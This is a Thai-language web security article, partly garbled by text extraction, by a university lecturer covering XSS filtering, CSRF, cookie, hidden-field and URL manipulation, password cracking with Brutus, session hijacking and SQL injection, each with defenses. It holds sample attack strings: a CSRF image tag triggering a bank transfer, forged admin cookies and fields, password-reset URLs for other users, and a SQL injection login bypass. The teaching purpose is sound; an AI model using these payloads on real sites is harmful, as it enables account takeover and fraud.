ไปยังบราวเซอร์ ที่ฝั่ง Client ซึง่ อาจทาได้ 3 กรณีคือ
1. ป้องกันเครื่ องหมาย < หรื อ > ก่อนขั ้นตอนการบันทึกข้ อมูล

ลงฐานข้ อมูล โดยให้ แทนที่เครื่ องหมายน้ อยกว่า ( < ) ด้ วย
< เครื่ อ งหมาย และแทนที่ เครื่ องหมายมากกว่า ( > ) ด้ วย
> ก่อนที่จะมีการบันทึกข้ อความลงฐานข้ อมูล ดังนัน้ เมื่อมี
การนาข้ อความดังกล่าวจากฐานข้ อมูล ส่งข้ อมูลไปให้ Browser
เพื่ อท าการแสดงผล บราวเซอร์ จะพบกับ < และ > ซึ่ง
บราวเซอร์ ก็สามารถที่จะแสดงเครื่ องหมาย < และเครื่ องหมาย
> ออกมาได้ ตามปกติ ดังเช่นตัวอย่าง scripts ของ ASP ดังรูป
Scripts ของ ASP ทีช่ ่วยป้องกันการแทรก < และ >

2. บัน ทึก เครื่ อ งหมาย < หรื อ > ลงฐานข้ อ มูล แต่ ป้อ งกัน ใน
ขั ้นตอนการส่ง ไปยังบราวเซอร์ โดยให้ เขียนเครื่ องหมายน้ อ ย
กว่า ( < ) และเครื่ องหมายมากกว่า ( > ) ลงฐานข้ อมูลเลย แต่
เมื่ อมี การ Request จาก Browser เพื่ อ น าไปแสดงผลก็ ให้ ส่ง
< และ > ไปแทน
3. ป้ อ งกั น เครื่ อ งหมาย < หรื อ > ตั ง้ แต่ ขั น้ ตอนการ Post
ข้ อความ คือโปรแกรมจะต้ องไม่รับเครื่ องหมาย < หรื อ > และ
แจ้ งผู้ใช้ ที่ พ ยายามใส่เครื่ อ งหมายดังกล่ าว (มี ข้ อ ความแจ้ ง
เตือน) และจากนั ้นให้ โปรแกรมย้ อนกลับไปในหน้ าที่มีการป้อน
ข้ อมูลใหม่
5. Cross Site Request Forgery (CSRF)
5.1 ความหมายของ Cross Site Request Forgery

Cross Site Request Forgery (ตั ว ย่ อ คื อ CSRF ห รื อ
บางตาราใช้ ตัวย่อ XSRF) หรื อ รู้ จักในนาม One Click Attack
เป็ น การโจมตี เว็บ ไซต์ อี ก รู ป แบบหนึ่ ง โดยที่ ผ้ ูโจมตี จ ะส่ งลิ ง้
หลอกไปให้ เหยื่อ เมื่อเหยื่อเผลอคลิ๊กลิ ้งค์ดงั กล่าวก็จะเกิดการ
ส่ง Request ไปยังเว็บไซต์ (ด้ วยสิทธิ์ของเหยื่อ) จากนั ้นเว็บไซต์

จะประมวลผลตาม Request นั ้น
ตั ว อย่ า งเช่ น เหยื่ อ รายหนึ่ ง (สมมุ ติ ว่ า ชื่ อ Bob) เคย
ล็ อ ก อิ น เข้ าสู่ เว็ บ ไซ ต์ ขอ งธน าค าร example.bank.com
ต่อจากนั ้นเหยื่อได้ เข้ าไปสู่เว็บไซต์อื่น ๆ หรื อเช็คอีเมล์ผ่านทาง
เว็บ และต่อมา Bob ได้ พบลิ ้งค์หนึ่งในเว็บไซต์ (หรื อลิ ้งค์ที่ถกู ส่ง
มากับอีเมล์) ซึ่งหากดูจากภายนอกแล้ วก็ดูเหมือนลิ ้งค์ธรรมดา
ทัว่ ไป แต่ภายในนั ้น (ซึ่งเป็ นสิง่ ที่ Bob ไม่ทราบ) กลับมีลกั ษณะ
ดังนี ้
<img
src="http://example.bank.com/withdraw.asp?account=bob&a
mount=1000000&for=somsak">
เมื่ อ Bob คลิ๊ก ลิง้ ค์ ดังกล่าว บราวเซอร์ ข อง Bob จะมี ก ารส่ง

Request ไปที่ example.bank.com เพื่ อ ท าการโอนเงิ น จาก
บัญ ชีของ Bob เข้ าสู่บัญชีของผู้อื่น (somsak) เป็ นจานวนเงิน
1,000,000 บาท โดยทั่วไปแล้ วเว็บไซต์ของธนาคารมีการเก็บ
ข้ อมูลการยืนยันตัวตนของ Bob ไว้ ใน Cookie และถ้ าสมมุติว่า
Cookie ยังไม่หมดอายุ การทางานตามลิ ้งค์นี ้ก็จะสาเร็จ
ข้ อแตกต่างของ XSS กับ CSRF ก็คือ XSS นั ้นแฮกเกอร์

จะใช้ ช่องโหว่ที่ “ผู้ใช้ เชื่อเว็บไซต์ ” ส่วน CSRF นัน้ แฮกเกอร์ จะ
ใช้ ช่องโหว่ที่ “เว็บไซต์เชื่อผู้ใช้ ” ตัวอย่างเช่น
 XSS ดังตัวอย่างในหัวข้ อเรื่ อง XSS ที่ผ่านมานั ้น ผู้ใช้ (ผู้

ที่จะตกเป็ นเหยื่อ) เข้ าไปอ่านข้ อความในเว็บบอร์ ดของ
เว็บไซต์ และคลิก เพื่ อ อ่านกระทู้ (ซึ่งเป็ น Script ที่ แฮก
เกอร์ โพสต์ไว้ เพื่อแอบส่ง Cookie ไปให้ แฮกเกอร์ ) ซึ่งตรง
นี ้คือ “ผู้ใช้ เชื่อเว็บไซต์”
 CSRF ดังตัวอย่างที่ผ่านมานั ้น Bob คลิ๊กลิ ้งต์หลอกแล้ ว

มี ก ารส่ ง Request ไปโอนเงิ น ธนาคารตรวจสอบ
Cookie แล้ วพบว่าเป็ นของ Bob จึงทาการโอนเงินตาม
Request นั ้น ตรงนี ้คือ “เว็บไซต์เชื่อผู้ใช้ ”
ความเสี่ย งของการโจมตี แ บบนี ้ ขึน้ อยู่กับช่ องโหว่ของ

เว็บไซต์ และขึน้ อยู่กับว่าเว็บไซต์ ที่ เป็ น เป้าหมายนัน้ ยอมให้
ฟอร์ มอินพุตและผู้ใช้ ทาการอัปเดตข้ อมูลที่มีความสาคัญระดับ
ใด เช่นเว็บไซต์ของมหาวิทยาลัยที่ยอมให้ อาจารย์ทาการแก้ ไข
เกรดนักศึกษาผ่านทางเว็บได้ ความเสียหายสูงสุดก็คือการถูก
โกงเพื่อแก้ เกรด ไม่ได้ เสียหายถึงขั ้นถูกลักลอบโอนเงินออกไป
เป็ นต้ น ช่องโหว่ CSRF นี พ้ บได้ มากตามเว็บบอร์ ดที่ยอมให้ มี
การโพสต์รูปขึ ้นไปได้ ซึง่ การโจมตีไม่ได้ มงุ่ เป้าไปที่เว็บบอร์ ด แต่
จะเป็ นการโจมตีเว็บไซต์อื่นที่มีความสาคัญมากกว่า แต่ใช้ เว็บ
บอร์ ดเป็ นสถานที่ฝากลิ ้งค์หลอกเท่านั ้นเอง
5.2 เหยื่อที่มีผลกระทบจากการโจมตี Cross Site Request

Forgery
การโจมตีจะสาเร็จก็ต่อเมื่อ
 แฮกเกอร์ จะต้ องทราบว่าเหยื่อกาลัง Online บนเว็บไซต์
นั ้น และ Cookie ยังไม่หมดอายุ
 เว็บไซต์เป้าหมายจะต้ องมีการพิสจู น์ทราบตัวตนโดยใช้
Cookie
 เว็บไซต์เป้าหมายไม่มีการพิสจู น์ทราบตัวตนใหม่อีกครัง้
(อย่างเช่นให้ ปอ้ นค่าตัวอักษรจาก Captcha เพื่อยืนยัน)
5.3 วิธีป้องกัน Cross Site Request Forgery
 ปรั บ ปรุ ง Application ให้ มี ก ารพิ สู จ น์ ทราบตั ว ตน

เพิ่ ม เติ ม โดยใช้ Hidden Field ซึ่ง ใน แต่ ล ะฟอร์ ม จะมี
Hidden Field ที่ต่างกัน
 มีการใช้ และการตรวจสอบเมธอดของการ Request ด้ วย
ว่าเป็ น GET หรื อ POST เช่นการร้ องขอข้ อมูล (ไม่มีการ
เปลี่ยนแปลงข้ อมูล) จะใช้ เมธอด GET ส่วนการร้ องขอที่
มีการเปลี่ยนแปลงข้ อมูลจะใช้ เมธอด POST ดังนั ้น หาก
มี ก ารโจมตี ม าจาก CSRF (ซึ่ ง Request เป็ นเมธอด
GET) จะไม่สามารถทาการเปลี่ยนแปลงข้ อมูลได้
 ใช้ Referrer เพื่ อ พิ สู จ น์ ท ราบว่ า การ Request นั น้ ถู ก
สร้ างขึน้ จากเว็บเพ็ จ ใด ดังนัน้ หากเป็ น Request ที่ ม า
จาก CSRF ก็ จ ะมี ค่ า Referrer ที่ ไ ม่ ต รงกั บ Request
ที่มาจากเว็บไซต์จริง
 ใช้ CAPTCHA เพื่ อยื น ยั น การเปลี่ ย นแปลงข้ อมู ล
(CAPTCHA ย่ อ ม า จ า ก Completely Automated
Public Turing test to tell Computers and Humans
Apart) ตัว อย่ างเช่ น เมื่ อ ผู้ใช้ ก รอกข้ อ มูล ในฟอร์ ม เพื่ อ
ปรั บ ปรุ งข้ อ มูล แล้ วกด Submit เว็บ ไซต์ จ ะต้ อ งส่งหน้ า
เว็บเพ็จที่มี CAPTCHA กลับมาเพื่อให้ ผ้ ใู ช้ ปอ้ นยืนยันอีก
ครัง้ หนึ่ง ซึง่ ผู้ใช้ จะต้ องกรอกตัวอักษรให้ ตรงกับในรูปเพื่อ
เป็ นการยืนยัน (CAPTCHA เป็ นสิ่งที่มนุษย์สามารถอ่าน
ได้ ง่ายแต่ยากสาหรับโปรแกรมอัตโนมัติ)
ตัวอย่าง CAPTCHA
สาหรับข้ อปฏิบตั ิของผู้ใช้ นั ้น ควรที่จะมีการล็อกเอาท์เพื่ออก

จากระบบทุกครัง้ ก่อนที่จะปิ ดบราวเซอร์ หรื อเข้ าเว็บไซต์อื่น
ทั ้งนี ้เพื่อให้ Cookie หมดอายุ
6. Parameter Manipulation
6.1 Cookie Manipulation

ในเว็บไซต์ระบบสมาชิกที่ใช้ Cookie เพื่อเป็ นตัวเก็บ
สถานะผู้ใช้ เช่นเก็บค่า username หรื อเก็บระดับสิทธิ์ในการ
เข้ าถึงระบบนั ้น แฮกเกอร์ สามารถที่จะปรับเปลี่ยนค่าใน
Cookie เพื่อโจมตีระบบได้ ตัวอย่างเช่นผู้ใช้ ชื่อธวัชชัย ทาการ
ล็อกอินเข้ าสูร่ ะบบแล้ วจากนั ้นเขาสังเกตุเห็นว่าเว็บไซต์มีการ
เก็บ username ไว้ ใน Cookie ดังนี ้
Cookie: lang=en-us; username=thawatchai; y=1 ;

time=10:30GMT ;
ผู้ใช้ thawatchai (แฮกเกอร์ ) สามารถที่จะทาการปรับเปลี่ยนค่า

Cookie เพื่อให้ ตนเองเข้ าสูร่ ะบบด้ วยสิทธิ์ของผู้ใช้ อื่นหรื อ
admin ได้ ดงั นี ้
Cookie: lang=en-us; username=admin; y=1 ;

time=10:30GMT;
ในทางปฏิบตั ินั ้นแฮกเกอร์ จะใช้ บราวเซอร์ ที่อนุญาตให้

ผู้ใช้ เปลี่ยนค่า Cookie ได้ เช่นบราวเซอร์ Opera และ Firefox ที่
ติตั ้ง Add-Ons ชื่อ Cookie Editor
วิธีปอ้ งกันการโจมตีแบบ Cookie Manipulation
สามารถทาได้ โดย ใช้ Session ID (ใน Cookie) แทน
username โดย Session ID จะถูกสร้ างโดย Web Application
หลังจากที่ผ้ ใู ช้ ลอ็ กอินผ่าน โดยการใช้ String แบบสุม่ ที่มีความ
ยาวมาก ๆ เช่น
Cookie: lang=en-us; time=10:30GMT; SessionID=
DQAAAHkAAADOkJsE3IKaj320mldzFStbqFoiGTPExB32gsBozUaYdIW
pIy8b6Kl8TtOrQ5L4r59iIX3Ofwc8tUAZmFIPumFnbbrTWKyKHJXqma
47ibKQAwfLoOWv0stZLqDTQmNKP7oBPRdErJNVbfGbAR75oAxF2dCu0
lpzX3izZjwciZv9Q
6.2 HTTP Header Manipulations
ในการโจมตีเว็บไซต์ เทคนิคที่แฮกเกอร์ มกั จะใช้ บอ่ ย ๆ ก็

คือการบันทึกหน้ าเว็บเพ็จไว้ บนเครื่ องตนเองและทาการแก้ ไข
ฟอร์ ม แล้ วโพสต์ฟอร์ มนั ้นจากเครื่ องของแฮกเกอร์ เอง วิธีการที่
Web Application ใช้ เพื่อป้องกันการโจมตีด้วยการบันทึกและ
แก้ ไขฟอร์ มเพื่ อโจมตีดังกล่าวท าได้ โดยการตรวจสอบว่าการ

Request มาจากเว็บเพ็จต้ นทางจริ งหรื อไม่ ซึง่ ในทางเทคนิคจะ
ตรวจสอบจาก Referrer
Host: www.someplace.org
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49
การโจมตี เว็บไซต์ที่มีการป้องกันลักษณะนี แ้ ฮกเกอร์ จะ

เขียน Script เพื่อโจมตี โดยการระบุค่าโดยตรงใน Referrer โดย
ใช้ คาสัง่ ใน Script ระบุค่าใน HTTP Header โดยตรงเพื่อหลอก
Web Application ได้ ว่าเป็ น Request ที่ ส ร้ างจากเว็บ เพ็ จ ต้ น
ท าง วิ ธี ก ารป้ อ งกั น คื อ Web Application จ ะต้ อ งไม่ ใช้
Referrer ในการตัด สิน ใจ เนื่ อ งจากเป็ น สิ่งที่ ส ามารถสร้ างได้
จากฝั่ง Client
6.3 HTML Form Field Manipulation

Web Application ได้ มีการป้องกันการป้อน username
และ password ที่ยาว ๆ โดยการกาหนด maxlength=(ค่า
ตัวเลข) เพื่อป้องกันการโจมตีระบบด้ วย SQL Injection (อ่าน

เพิ่มในเรื่ อง SQL Injection) ซึง่ แฮกเกอร์ จาเป็ นที่จะต้ องป้อน
String ที่ยาว ๆ เพื่อใช้ ในการโจมตี
แฮกเกอร์ ทาการบันทึกฟอร์ มและแก้ไขค่าในฟิ ลต์
HTML Form Field Manipulation คือการที่แฮกเกอร์ ทา

การบันทึกฟอร์ มลงบนเครื่ องของเขาเอง แล้ วแก้ ไขค่าในฟิ ลต์
ต่าง ๆ เช่นเพิ่มความยาวที่สามารถป้อน String การโจมตีที่ยาว
ๆ เข้ าไปได้ และแก้ ไขค่ า ในฟิ ลต์ รหั ส ผ่ า นให้ เป็ น input
type="text" และแฮกเกอร์ ก็สามารถที่จะแก้ ไขฟอร์ มเพื่อเปลี่ยน

ค่าบางอย่างใน Hidden Field ได้ เช่นกัน
เว็บไซต์บางแห่งกาหนดสิทธิ์ในการเข้ าถึงไว้ บน Hidden
Field ตั ว อย่ า งต่ อ ไปนี เ้ ป็ นการแก้ ไข Hidden Field เพื่ อ ให้
เข้ าถึงระบบด้ วยสิทธิ์ของ Administrator
ก่อน
<input name="masteraccess" type="hidden" value="N">
หลัง
<input name="masteraccess" type="hidden" value="Y">
การป้องกัน HTML Form Field Manipulation ทาได้ โดย
 ในกรณีที่ต้องการจากัดความยาวของอินพุต Script ที่ใช้

ในการตัด String ที่มีความยาวเกินกาหนด ควรจะอยู่ที่
ฝั่ง Server
 ในกรณีที่ต้องการระบุสทิ ธิ์ในการเข้ าถึงระบบ ไม่ควรที่จะ

ก ระท าโด ย ใช้ Hidden Field แ ต่ ค วรใช้ ต ารางใน
ฐานข้ อมู ล ในฝั่ ง เซิ ร์ ฟ เวอร์ เ พื่ อท าการแม็ ป ระหว่ า ง
username กั บ role และนอกจากนั น้ กระบวนการที่
Web Application จะทราบได้ ว่ า เป็ น username ใดที่
Request เข้ ามา (หลังจากล็อกอินแล้ ว) จะใช้ วิธีการแม็
ปจาก Session ID เพื่อให้ เป็ น username
6.4 URL Manipulation

การส่ง Request จากบราวเซอร์ ไปยังเว็บเซิร์ฟเวอร์ นัน้
มักจะส่งทาง URL ซึ่งวิธีการนี ้เป็ นวิธีที่ค่อนข้ างเสี่ยงต่อการถูก
โจมตีเป็ นอย่างมาก ตัวอย่างเช่นเว็บไซต์แห่งหนึ่ง ขณะที่ผ้ ูใช้
thawatchai ท าการเปลี่ ย นรหัส ผ่ านจากรหัส ผ่ านเดิ ม ให้ เป็ น
abc123 ซึ่งเป็ นรหัสผ่านใหม่ที่เขาต้ องการ เขาสังเกตเห็นได้ ว่า
มีการแสดงรายละเอียดที่ URL ดังนี ้
http://www.victim.com/changepassword.asp?username=thawa
tchai&newpass=abc123
แฮกเกอร์ สามารถที่จะทาการเปลี่ยนค่าโดยตรงที่ URL

เพื่อ ตั ้งค่ารหัสผ่านใหม่ให้ user คนอื่น เพื่อเข้ าสูร่ ะบบเป็ นผู้ใช้
คนนั ้นได้ ดังนี ้
http://www.victim.com/changepassword.asp?username=somsa
k&newpass=superman
http://www.victim.com/changepassword.asp?username=webma
ster&newpass=xyz
การป้องกันทาได้ โดยปฏิบตั ิตามทุกข้ อดังนี ้

 การไม่แสดง Request ที่ URL
 เมื่อมีการส่ง Request เพื่อทาการเปลี่ยนแปลงข้ อมูล ให้
ใช้ เม-ธอด POST อย่าใช้ เมธอด GET
 ใช้ Session ID ในการระบุ ตัวตนของผู้ใช้ แทนการใช้
username หรื อ User ID โดยตรง
 ในการส่ งข้ อ มูล ที่ มี ค วามส าคัญ จากบราวเซอร์ ไปยัง
เซิร์ฟ เวอร์ (เช่ น การเปลี่ ย นรหัส ผ่ าน) ให้ ใช้ https แทน
http เพื่อป้องกันการดักจับข้ อมูล
 ในส่วนของการตั ้งรหัสผ่านใหม่ ต้ องปรับปรุงโปรแกรมใน
Web Application ให้ มีการยืนยันรหัสผ่านเดิมด้ วย
7. Login Cracking / Password Cracking
การโจมตีเว็บไซต์ ที่พบได้ มากอีกประเภทหนึ่งก็คือการ

แคร็ก รหัสผ่านล็อกอิน การแคร็ กรหัสผ่านก็คือการใช้ โปรแกรม
ช่ ว ยส่ ง รหั ส ผ่ า นเข้ าไปทดสอบที ล ะตั ว (รหั ส ผู้ ใช้ คงที่ เ ช่ น
admin) เมื่อ รันโปรแกรมไปสักพัก จะถึงรหัสผ่ านที่ ตรงกับค่ า
รหัสผ่านจริ งของผู้ใช้ เป้าหมาย โปรแกรมก็จะแจ้ งให้ ทราบว่า
สามารถล็อกอินได้ สาเร็จและแจ้ งรหัสผ่านให้ แฮกเกอร์ ทราบ
การแคร็ กรหัสผ่านที่นิยมมีอยู่ 2 วิธีได้ แก่การแคร็ กแบบ
Dictionary Attack และการแคร็กแบบ Brute Force
การแคร็กแบบ Dictionary Attack จะใช้ รหัสผ่านจากไฟล์ที่มีคา
จานวนมาก รวมทัง้ ค าที่ ค นนิ ย มน ามาตัง้ เป็ น พาสเวิร์ด ด้ วย
ส่ ง ไป (พร้ อมกั บ username คงที่ ที่ เราระบุ ) ให้ เว็ บ ท าการ
ตรวจสอบสิ ท ธิ์ ที ล ะค า ถ้ าค าใดตรงกั บ พาสเวร์ ด ของ user
เป้าหมาย เว็บไซต์ปลายทางก็จะแจ้ งกลับมาว่าอนุญาตให้ เข้ าสู่
ระบบได้ ส่วนการแคร็ กแบบ Brute Force คือการส่งรหัสผ่าน
ไปทีละตัวโดยให้ รันตัวอักษรของรหัสผ่านตั ้งแต่ A ถึง Z และ 0-
9 (หรื อรวมทัง้ อัก ษรพิ เศษที่เราระบุ ) โดยบังคับจานวนความ
ยาวของพาสเวร์ ดตัง้ แต่ 1 ตัวอักษรเรื่ อยไปจนถึงความยาวที่

กาหนดไว้ (ส่วนมากจะไม่เกิน 8 ตัวอักษร) เช่นการส่งพาสเวร์ ด
ตั ้ง แ ต่ A, B, …, Z, 0, ..., 9, AA, AB, …, AZ, A0, …, A9,
AAA, AAB ไปเรื่ อย ๆ จนถึง ZZZZZZZZ หรื อ 99999999 เป็ น
ต้ น การแคร็ กทั ้งสองวิธีมีข้อดีและข้ อเสียต่างกัน เช่นการแคร็ ก
โดยใช้ ไฟล์ดิกชันนารี จะเหมาะสาหรับระบบที่ตั ้งรหัสผ่านเป็ น
คาที่มีความหมาย แฮกเกอร์ จะใช้ เวลาในการแคร็ กน้ อ ย (ถ้ า
เป้ า หมายตั ง้ พาสเวร์ ด เป็ นค าที่ มี ใ น Dictionary) แต่ จ ะไม่
สามารถแคร็ ก รหัส ผ่านที่ตัง้ ไว้ ยาก ๆ ได้ เช่น รหัสผ่น ที่ตัง้ เป็ น
ZgT3Av9a ซึ่งการใช้ วิธี Brute Force จะเหมาะกับ กรณี ห ลัง
มากกว่าแต่ข้อเสียของมันก็คือใช้ เวลามากถ้ ามีการตั ้งพาสเวร์ ด
ยาว ๆ
7.1 ตัวอย่ างการแคร็กรหัสผ่ านแบบ Dictionary Attack

เครื่ องมือที่แฮกเกอร์ นิยมใช้ ได้ แก่โปรแกรม Brutus ใน
ตัวอย่างนี ้จะใช้ โปรแกรม Brutus Version 2
การแคร็ กรหัสผ่านแบบ Dictionary Attack
การใช้ งานโปรแกรม Brutus นั ้นง่ายมากเพียงแค่ปอ้ นชื่อ

ของเว็ บ ไซต์ เป้ า หมายในช่ อ ง Target (ในตั ว อย่ า งนี ค้ ื อ
192.168.1.3/phpMyAdmin/) เลื อก Single User เพื่ อ แคร็ ก ร
หัส ผ่ านของ user คนเดี ย ว เช่ น ป้อ นชื่ อ ผู้ใช้ admin (ที่ เราได้
กาหนดไว้ ก่อนในโปรแกรม AppServ) ป้อนใส่ในช่อง UserID
จากนัน้ เลือกไฟล์ดิกชันนารี (ไฟล์รหัสผ่าน) ที่ต้องการแล้ วกด
ปุ่ ม Start ไฟล์ รหัส ผ่ านที่ ติ ด มากับ โปรแกรมแคร็ ก ต่ าง ๆ นัน้
อาจจะเป็ นไฟล์เล็กซึ่งมีคาไม่กี่คา แต่เราก็สามารถเลือกไฟล์อื่น
ที่มีจานวนคามากขึ ้นได้ ผู้เขียนได้ ทดลองใช้ โปรแกรม Brutus

แคร็ กรหัสผ่านหน้ าจอล็อกอินของ AppServ (ซึ่งตั ้งรหัสผ่านไว้
เป็ นค าว่ า hydrogen) โดยทดสอบบนเครื่ อ งคอมพิ ว เตอร์
Pentium ความเร็ ว 3 GHz ความเร็ วของเน็ ต เวิร์ก 100 Mb/s
จะใช้ เวลาประมาณ 1 นาทีก็แคร็กรหัสผ่านนั ้นออกมาได้
7.2 ตัวอย่ างการแคร็กรหัสผ่ านแบบ Brute Force

เมื่ อ แฮกเกอร์ ไม่ ส ามารถแคร็ ก รหั ส ผ่ า นด้ วยวิ ธี ใ ช้
ดิกชันนารี ได้ สาเร็ จ ซึ่งอาจจะเป็ นผลเนื่องมาจากรหัสผ่านของ
เป้าหมายนัน้ เป็ นคาที่ไม่มีความหมายและไม่มีในพจนานุกรม
(Dictionary) เช่นคาว่า CK9H แฮกเกอร์ จะใช้ วิธี Brute Force
(ผู้เขียนจะใช้ โปรแกรม Brutus อีกเช่นเคยแต่ เปลี่ยนโหมดให้
มั น ท าการแคร็ ก เป็ นแบบ Brute Force) ผู้ เขี ย นได้ ท าการ
ทดลองโดยเปลี่ยนรหัสผ่านของระบบ (บนเป้าหมาย) ให้ เป็ นคา
ว่า CK9H โปรแกรม Brutus ใช้ เวลาในการแคร็กอยู่ประมาณ 7
นาทีจงึ จะสาเร็ จ จึงทาให้ สามารถประมาณการคร่าว ๆ ได้ ว่าถ้ า
ตั ้งรหัสผ่านที่ยาวสัก 8 ตัวอักษรและขึ ้นต้ นด้ วยตัว Z จะใช้ เวลา
ประมาณ 3,521 ปี
ประวัตผิ ้ ูเขียน
ธวัชชัย ชมศิริ
อาจารย์ประจาภาควิชาเทคโนโลยีสารสนเทศ
คณะวิทยาการสารสนเทศ
มหาวิทยาลัยมหาสารคาม
ประสบการณ์ การทางาน
ด้ านคอมพิวเตอร์
อาจารย์ ผ้ ู สอน (วิ ช า Computer Network และวิ ช า Computer and
Network Security) มหาวิทยาลัยมหาสารคาม และเคยเป็ นอาจารย์
พิเศษสอนระดับปริญญาโทให้ กบั มหาวิทยาลัยขอนแก่น
ต าแหน่ ง Network Engineer / Network Administrator หน่ ว ยงาน
เอกชน ระยะเวลา 5 ปี (2543-2547)
ตาแหน่ง Programmer หน่วยงานเอกชน ระยะเวลา 5 ปี (2538-2542)
การศึกษา
วท.ม. เทคโนโลยี ส ารสนเทศ คณะเทคโนโลยี ส ารสนเทศ สถาบัน
เทคโนโลยีพระจอมเกล้ าเจ้ าคุณทหารลาดกระบัง
วท.บ. สถิ ติ คณะวิ ท ยาศาสตร์ มหาวิ ท ยาลั ย มหาสารคาม (จบ
การศึกษาเมื่อปี 2538)
อ. ธวัช ชัย ชมศิ ริ เป็ น ที่ ร้ ู จัก ในวงการคอมพิ ว เตอร์
เมื อ งไทยในฐานะผู้เขี ย นหนัง สื อ "HACK Step by
Step" ซึ่ง หนัง สื อ เล่ ม นี เ้ คยติ ด อัน ดับ Top 5 - best
seller book ในปี 2546
นอกจากนี แ้ ล้ ว อ. ธวัชชัย ยังมี ผลงานหนังสือเล่มอื่นที่ติดอันดับขายดีเช่นกัน

ได้ แก่
HACK Step by Step Volume II "เจาะระบบถอดรหัส

รู้ทนั ป้องกัน Hacker"
ติดตัง/ดู
้ แล ระบบเครื อข่ายคอมพิวเตอร์
อย่างมืออาชีพ"
วิทยากร / ผู้เชี่ยวชาญ
เป็ น Instructor ใ น ห ลั ก สู ต ร Cisco Network Academy

Program ป ระ จ า Trainning Center ข อ ง ม ห า วิ ท ย า ลั ย
มหาสารคาม
เค ยได้ รั บ เชิ ญ ให้ ไป บ รรยายเรื่ อ ง Hacking ที่ ส านั ก ค ดี
เทคโนโลยีสารสนเทศ กรมสอบสวนคดีพเิ ศษ (DSI)
เคยได้ รั บ เชิ ญ ให้ ไปบรรยายเรื่ อ ง Information Security ที่
สานักข่าวกรองแห่งชาติ สานักนายกรัฐมนตรี
เคยได้ รับเชิญให้ ไปบรรยายเรื่ อง Hacking & Security ที่หน่วย
ข่าวกรองทางทหาร กระทรวงกลาโหม
Thawatchai Chomsiri at Curtin University, Australia

25 March 2007
View publication stats

WebSecurity 20170412-0032

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

WebSecurity 20170412-0032

Uploaded by

Copyright:

Available Formats

See discussions, stats, and author proﬁles for this publication at: https://www.researchgate.

Book · April 2017

Training Project View project

Book Project View project

The user has requested enhancement of the downloaded ﬁle.

เว็บไซต์ต่างๆ มักจะมี ความอ่อนแอหรื อที่เราเรี ยกว่า

1. การโจมตีแบบ Session Hijacking

เพื่อขอหน้ าเว็บเพ็จ (เช่นการคลิกลิงค์ Inbox ของ Gmail เพื่อ

โลก ก็ยงั สามารถขโมย Cookie ได้ โดยใช้ เทคนิคอื่นเพิ่มเติมเช่น

1.1 ตัวอย่ างการโจมตีแบบ Session Hijacking โดยการดัก

เดียวกันกับเหยื่อ หรื อแอบรันโปรแกรมดักจับข้ อมูลไว้ บนเครื่ อง

1.1.1 แฮกเกอร์ ทาการดักจับ Session ID ของเหยื่อ

โปรแกรม Switch Sniffer และโปรแกรม Win ARP Spoof

- เมื่อทาการ ARP Spoof แล้ วแฮกเกอร์ ก็จะดักจับข้ อมูล

แฮกเกอร์ ดกั จับได้ Session ID ของ Gmail ใน Cookie ชือ่ GX

1.1.2 แฮกเกอร์ ทาการล็อกอินเข้ าสู่ระบบด้ วย Account ของ

แฮกเกอร์ ใช้ Opera ล็อกอิ นเข้าเว็บไซต์ Gmail

1.1.3 แฮกเกอร์ นา Session ID ของเหยื่อ มาแทนที่ Session

แฮกเกอร์ เปลีย่ นค่าใน Cookie ของตนเอง

ก่อนเปลีย่ น Cookie (ซ้าย) และหลังเปลีย่ น Cookie (ขวา)

1.2 ตัวอย่ างการทา Session Hijacking โดยใช้ เครื่ องมือ

เรี ยกใช้โปรแกรม Hamster

เปิ ดลิ งค์ Hotmail ของเหยือ่

1.3 ตัวอย่ างการทา Session Hijacking โดยการขโมย

นอกจากรูปแบบดังตัวอย่างที่ 1 แฮกเกอร์ ยงั นิยมใช้ สคริป

แฮกเกอร์ (sam) นา Cookie ทีข่ โมยมาได้ แล้วเข้าระบบเป็ น

1.4 การป้ องกัน Session Hijacking

o ป้องกัน ARP Spoof

1.4.1 การป้องกัน ARP Spoof และป้องกันการดักจับข้ อมูล

 เปิ ด Command Prompt โดยคลิ ก ที่ เมนู Start -> Run

 ใช้ คาสัง่ บน Command Prompt โดยใช้ คาสัง่ ping เว้ น

 ใช้ คาสัง่ arp –a เพื่อดูค่า MAC Address ของ Gateway

 ใช้ คาสัง่ arp –s เว้ นวรรคแล้ วตามด้ วยไอพีแอดเดรสของ

การป้องกันการดักจับข้ อมูลทาได้ ค่อนข้ างยาก เนื่องจาก

ข้ อมู ล ที่ วิ่ ง อยู่ บ นระบบเครื อ ข่ า ยแล้ วน ามาวิ เ คราะห์ เ พื่ อ

1.4.2 การเข้ ารหัสข้ อมูล HTTP และ Session ID

1.4.3 การป้ อ งกั น การน า Cookie / Session ID ที่ แ ฮกเกอร์

(เช่ น Timeout=10 นาที ) ก็ ท าให้ แ ฮกเกอร์ ท างานล าบากขึน้

2. การโจมตีแบบ SQL Injection

หน้ าจอเว็บล็อกอินที่ให้ ผ้ ใู ช้ ป้อนทางบราวเซอร์ เพื่อเข้ าสู่

ระบบก็จะต้ องพบกับหน้ าจอตรวจสอบสิท ธิ์ ดังรู ป ซึ่งสมาชิก

แฮกเกอร์ สามารถทีจ่ ะทาการแฮกจากหน้าจอ Login ได้

ฟอร์ มล็อกอินมักจะถูกสร้ างด้ วยแท็ก HTML ง่าย ๆ เช่น

ฟอร์ มล็อกอินนีจ้ ะรับค่า username และ password และมีปมุ่

โปรแกรมเมอร์ จะเขียนคาสั่ง SQL login บางส่วนไว้ ใน

password ที่ ผ้ ูใช้ ป้อ นผ่ า นฟอร์ ม น ามาประกอบเข้ าด้ วยกัน

2.1 การข้ ามผ่ านการตรวจสอบสิทธิ์ด้วย SQL Injection

และป้อนที่ช่อง Password ว่า SuperGirl ผลลัพธ์ ที่ได้ หลังจาก

SELECT * FROM tbl_Users WHERE

แต่ถ้าหากแฮกเกอร์ ป้อนค าสั่ง SQL (หรื อส่วนหนึ่ งของคาสั่ง

ป้อน ‘ or 9=9 ; - - เข้าไปในช่องรหัสผ่าน

เมื่อป้อนค่าดังรูปคาสัง่ SQL login ในฝั่งเซิร์ฟเวอร์ จะกลายเป็ น

SELECT * FROM tbl_Users WHERE

